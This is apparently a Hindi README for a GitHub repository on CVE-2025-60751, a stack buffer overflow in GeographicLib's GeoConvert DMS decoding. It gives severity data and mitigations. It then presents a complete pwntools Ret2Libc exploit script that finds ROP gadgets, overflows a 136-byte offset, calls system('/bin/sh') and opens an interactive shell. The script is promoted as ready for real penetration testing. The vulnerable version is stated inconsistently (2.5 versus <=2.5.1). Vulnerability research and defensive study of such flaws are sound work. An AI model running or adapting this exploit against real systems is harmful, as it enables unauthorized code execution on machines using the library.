
CVE-2025-60751 के लिए तकनीकी विश्लेषण और पेशेवर एक्सप्लॉइट, GeographicLib में एक स्टैक-आधारित बफर ओवरफ्लो। इसमें डायनामिक ROP गैजेट खोज, GDB एकीकरण और शैक्षणिक पेनिट्रेशन टेस्टिंग के लिए पोस्ट-एक्सप्लॉइट सत्यापन के साथ एक pwntools-आधारित Ret2Libc एक्सप्लॉइट शामिल है।
📌 यह रिपॉज़िटरी भेद्यता CVE-2025-60751 का विश्लेषण और तकनीकी दस्तावेज़ीकरण शामिल करता है, जो C++ लाइब्रेरी GeographicLib में स्थित एक स्टैक-आधारित बफर ओवरफ़्लो (Stack-based Buffer Overflow) दोष है।
यह भेद्यता DMS::InternalDecode फ़ंक्शन में GeoConvert घटक के अंदर पाई जाती है।
त्रुटि तब होती है जब लाइब्रेरी DMS (डिग्री, मिनट, सेकंड) प्रारूप में गलत या अत्यधिक लंबे निर्देशांक स्ट्रिंग को संसाधित करने का प्रयास करती है, जिससे स्टैक पर आवंटित बफर की सीमा से बाहर लेखन होता है।
CVE-2025-60751GeoConvert / DMS::InternalDecodeStack-based Buffer Overflow (CWE-121)7.5 HIGHCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:Hएक दूरस्थ हमलावर विशेष रूप से तैयार किया गया निर्देशांक स्ट्रिंग भेज सकता है ताकि:
GeographicLib का उपयोग करने वाले अनुप्रयोगों के अप्रत्याशित बंद (क्रैश) का कारण बनना।⚠️ तकनीकी नोट: हालांकि वर्तमान वेक्टर उपलब्धता (
A:H) पर केंद्रित है, विशिष्ट वातावरण में आधुनिक मेमोरी सुरक्षा (जैसे स्टैक कैनरी, एनएक्स बिट या सक्रिय ASLR) के बिना, यह दोष संभावित रूप से मनमाने कोड निष्पादन तक बढ़ सकता है।
| उत्पाद | कमज़ोर संस्करण | पहचाने गए वितरण |
|---|---|---|
GeographicLib | 2.5 | Debian LTS, Ubuntu और अन्य Linux रिपॉज़िटरी में पैकेज जो इस संस्करण को एकीकृत करते हैं |
✅ अद्यतन: दृढ़ता से GeographicLib के नवीनतम उपलब्ध संस्करण में अपडेट करने की अनुशंसा की जाती है, जहां InternalDecode में लंबाई सत्यापन ठीक किया गया है।
✅ इनपुट सत्यापन: यदि अपडेट संभव नहीं है, तो DMS::Decode को भेजे जाने वाले स्ट्रिंग की लंबाई को सीमित करने वाली एक सेनिटाइज़ेशन परत लागू करें (उदा. अधिकतम 32 वर्ण)।
✅ सुरक्षित संकलन: लाइब्रेरी को स्टैक सुरक्षा फ़्लैग के साथ संकलित करना सुनिश्चित करें:
-fstack-protector-all -D_FORTIFY_SOURCE=2 -z relro -z now
zer0matt का तकनीकी विश्लेषणयह शोषण बफर ओवरफ़्लो का लाभ उठाकर Ret2Libc हमला करने के लिए pwntools का उपयोग करता है।
बुनियादी संस्करणों के विपरीत, यह कार्यान्वयन मजबूत, गतिशील और सत्यापन योग्य है, जो वास्तविक पेंटेस्टिंग और प्रयोगशाला वातावरण के लिए तैयार है।
exploit.py)#!/usr/bin/env python3
from pwn import *
# --- INFO ---
# CVE-2025-60751: GeographicLib <= v2.5.1 Stack Overflow
# Autor: Refactored for Robustness
# --- --- ---
context.binary = elf = ELF("./GeoConvert")
context.log_level = 'info'
def exploit():
# 1. Gestión de procesos (Local vs Remoto)
if args.GDB:
io = gdb.debug([elf.path], gdbscript="""
b *main
continue
""")
else:
# ASAN puede interferir con los offsets si no se gestiona bien
io = process(elf.path, env={"ASAN_OPTIONS":"detect_stack_use_after_return=0"})
# 2. Localización Dinámica de Gadgets
rop = ROP(elf)
POP_RDI = rop.find_gadget(['pop rdi', 'ret'])[0]
RET = rop.find_gadget(['ret'])[0]
log.info(f"Gadget POP RDI: {hex(POP_RDI)}")
# 3. Fuga de Memoria (Leak) para Bypass de ASLR
# En entornos reales: usar leak + libc-database o libc.rip.
# Aquí usamos base fija *solo para entornos de laboratorio controlado* (ASLR=off).
LIBC_BASE = 0x7ffff7a00000 # Ejemplo — ¡debe ser dinámico en producción!
SYSTEM = LIBC_BASE + 0x5d110
BINSH = LIBC_BASE + 0x1b1ea4
EXIT = LIBC_BASE + 0x4c340
# 4. Construcción del Payload (Estructura Limpia & Aligned)
offset = 136
chain = [
b"A" * offset,
p64(RET), # Stack Alignment (Crucial para Ubuntu/Debian modernos)
p64(POP_RDI),
p64(BINSH),
p64(SYSTEM),
p64(EXIT)
]
payload = b"".join(chain)
# 5. Ejecución y Verificación
log.info("Sending payload and spawning shell...")
io.sendline(payload)
io.clean()
io.sendline(b"id")
res = io.recvline(timeout=2)
if b"uid=" in res:
log.success("Pwned! enjoy your shell.")
io.interactive()
else:
log.error("Exploit failed or no output received.")
io.close()
if __name__ == "__main__":
exploit()
⚠️ अस्वीकरण
यह रिपॉज़िटरी साइबर सुरक्षा पेशेवरों के लिए पूरी तरह से सूचनात्मक और शैक्षिक उद्देश्यों के लिए है।
इस जानकारी का अवैध उद्देश्यों के लिए उपयोग उपयोगकर्ता की एकमात्र जिम्मेदारी है।
❗ कोड का सावधानी से उपयोग करें: केवल अधिकृत, पृथक और स्पष्ट अनुमति वाले वातावरण में।
🔐 सुरक्षा कोई सुविधा नहीं है — यह एक अनुशासन है।
📬 खोजों की रिपोर्ट: [email protected]
📦 आधिकारिक रिपॉज़िटरी: https://github.com/geographiclib/geographiclib
| विशेषता | लाभ |
|---|
ROP(elf) गतिशील | हार्डकोडेड गैजेट्स पर निर्भर नहीं करता: उन्हें स्वचालित रूप से बाइनरी में ढूंढता है। |
GDB के लिए एकीकृत समर्थन | python exploit.py GDB चलाता है → स्वचालित डिबगिंग सत्र खोलता है। |
| शोषण के बाद सत्यापन | इंटरैक्टिव नियंत्रण देने से पहले id भेजता है और शेल की पुष्टि करता है। |
स्टैक संरेखण के लिए RET | गलत संरेखण के कारण system() में क्रैश से बचाता है (x64 में महत्वपूर्ण)। |
list + b"".join() के रूप में संरचित पेलोड | साफ, पढ़ने योग्य, संशोधित और विस्तारित करने में आसान। |